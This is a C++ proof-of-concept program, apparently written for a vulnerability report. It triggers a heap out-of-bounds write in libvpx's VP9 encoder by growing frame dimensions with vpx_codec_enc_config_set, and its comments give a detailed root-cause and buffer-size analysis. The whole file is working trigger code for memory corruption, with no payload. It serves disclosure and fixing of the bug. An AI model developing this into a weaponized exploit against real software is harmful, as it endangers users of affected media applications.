// POC: libvpx VP9 content_state_sb_fd heap OOB write after dimension-growing
// vpx_codec_enc_config_set().
//
// Root cause: set_rt_speed_feature_framesize_dependent() lazily allocates
// cpi->content_state_sb_fd only when NULL, sized by the *current* frame's
// mi_stride/mi_rows. vp9_change_config() never frees/resizes it. After a
// config_set that grows mi_alloc_size, external_resize is reset to 0, so
// use_source_sad is re-enabled and avg_source_sad() indexes the stale
// (small) buffer with offsets computed from the *new* (large) frame
// geometry -> heap-buffer-overflow.
//
// All Chromium web-reachable wrappers (WebCodecs, WebRTC) currently block the
// precondition (dimension growth without encoder re-init). This POC
// demonstrates the underlying libvpx defect via the public encoder API.

#include <cstdio>
#include <cstdlib>
#include <cstring>

#include "vpx/vp8cx.h"
#include "vpx/vpx_encoder.h"
#include "vpx/vpx_image.h"

namespace {

// Initial size: 320x240
//   mi_cols=40, mi_rows=30, mi_stride=48
//   content_state_sb_fd = (48>>3) * ((30>>3)+1) = 6 * 4 = 24 bytes
//   mi_alloc_size = 48 * (30+8) = 1824
constexpr unsigned int kInitW = 320;
constexpr unsigned int kInitH = 240;

// Reconfigured size: 1920x144
//   mi_cols=240, mi_rows=18, mi_stride=248
//   new_mi_size = 248 * (18+8) = 6448  >  1824  -> growth path,
//     external_resize reset to 0.
//   SB grid: cols=(240+7)>>3=30, rows: mi_row in {0,8,16} -> 3 rows
//   max sb_offset2 = 30*2 + 29 = 89
//   24-byte buffer indexed at [0..89] -> 66-byte OOB write/read.
//   vpx_calloc adds at most 39 bytes of alignment slack before the redzone,
//   so this overruns the underlying malloc by >= 27 bytes -> ASAN detects.
constexpr unsigned int kBigW = 1920;
constexpr unsigned int kBigH = 144;

void Die(vpx_codec_ctx_t* ctx, const char* msg) {
  fprintf(stderr, "FATAL: %s: %s (%s)\n", msg, vpx_codec_error(ctx),
          vpx_codec_error_detail(ctx) ? vpx_codec_error_detail(ctx) : "");
  exit(1);
}

vpx_image_t* MakeFrame(unsigned int w, unsigned int h, int seed) {
  vpx_image_t* img = vpx_img_alloc(nullptr, VPX_IMG_FMT_I420, w, h, 32);
  if (!img) {
    fprintf(stderr, "vpx_img_alloc failed\n");
    exit(1);
  }
  // Fill with a flat luma/chroma so per-SB SAD vs. previous frame is 0,
  // taking the `tmp_sad < threshold` branch -> content_state_sb_fd[off]++.
  for (int p = 0; p < 3; ++p) {
    const unsigned int pw = (p == 0) ? w : (w + 1) / 2;
    const unsigned int ph = (p == 0) ? h : (h + 1) / 2;
    unsigned char* row = img->planes[p];
    for (unsigned int y = 0; y < ph; ++y) {
      memset(row, (p == 0) ? (128 + seed) : 128, pw);
      row += img->stride[p];
    }
  }
  return img;
}

void Drain(vpx_codec_ctx_t* ctx) {
  vpx_codec_iter_t it = nullptr;
  while (vpx_codec_get_cx_data(ctx, &it) != nullptr) {
  }
}

}  // namespace

int main() {
  vpx_codec_ctx_t enc;
  vpx_codec_enc_cfg_t cfg;

  if (vpx_codec_enc_config_default(vpx_codec_vp9_cx(), &cfg, 0) != VPX_CODEC_OK)
    Die(&enc, "vpx_codec_enc_config_default");

  cfg.g_w = kInitW;
  cfg.g_h = kInitH;
  cfg.g_pass = VPX_RC_ONE_PASS;
  cfg.g_lag_in_frames = 0;
  cfg.g_threads = 1;
  cfg.rc_end_usage = VPX_CBR;
  cfg.rc_target_bitrate = 500;
  cfg.g_timebase.num = 1;
  cfg.g_timebase.den = 30;

  if (vpx_codec_enc_init(&enc, vpx_codec_vp9_cx(), &cfg, 0) != VPX_CODEC_OK)
    Die(&enc, "vpx_codec_enc_init");

  // speed >= 6 is required for the lazy content_state_sb_fd allocation, and
  // speed >= 5 is required for use_source_sad. REALTIME deadline is required
  // for compute_source_sad_onepass.
  if (vpx_codec_control(&enc, VP8E_SET_CPUUSED, 7) != VPX_CODEC_OK)
    Die(&enc, "VP8E_SET_CPUUSED");

  fprintf(stderr, "[*] Encoding %u x %u (allocates content_state_sb_fd)\n",
          kInitW, kInitH);
  for (int i = 0; i < 2; ++i) {
    vpx_image_t* f = MakeFrame(kInitW, kInitH, 0);
    if (vpx_codec_encode(&enc, f, i, 1, 0, VPX_DL_REALTIME) != VPX_CODEC_OK)
      Die(&enc, "vpx_codec_encode (small)");
    Drain(&enc);
    vpx_img_free(f);
  }

  fprintf(stderr, "[*] Reconfiguring to %u x %u via vpx_codec_enc_config_set\n",
          kBigW, kBigH);
  cfg.g_w = kBigW;
  cfg.g_h = kBigH;
  if (vpx_codec_enc_config_set(&enc, &cfg) != VPX_CODEC_OK)
    Die(&enc, "vpx_codec_enc_config_set");

  fprintf(stderr,
          "[*] Encoding %u x %u (frame 2+ should OOB-write "
          "content_state_sb_fd)\n",
          kBigW, kBigH);
  for (int i = 0; i < 4; ++i) {
    vpx_image_t* f = MakeFrame(kBigW, kBigH, 0);
    if (vpx_codec_encode(&enc, f, 2 + i, 1, 0, VPX_DL_REALTIME) != VPX_CODEC_OK)
      Die(&enc, "vpx_codec_encode (large)");
    Drain(&enc);
    vpx_img_free(f);
  }

  vpx_codec_destroy(&enc);
  fprintf(stderr,
          "[!] No ASAN report - bug may be fixed or preconditions not met.\n");
  return 0;
}
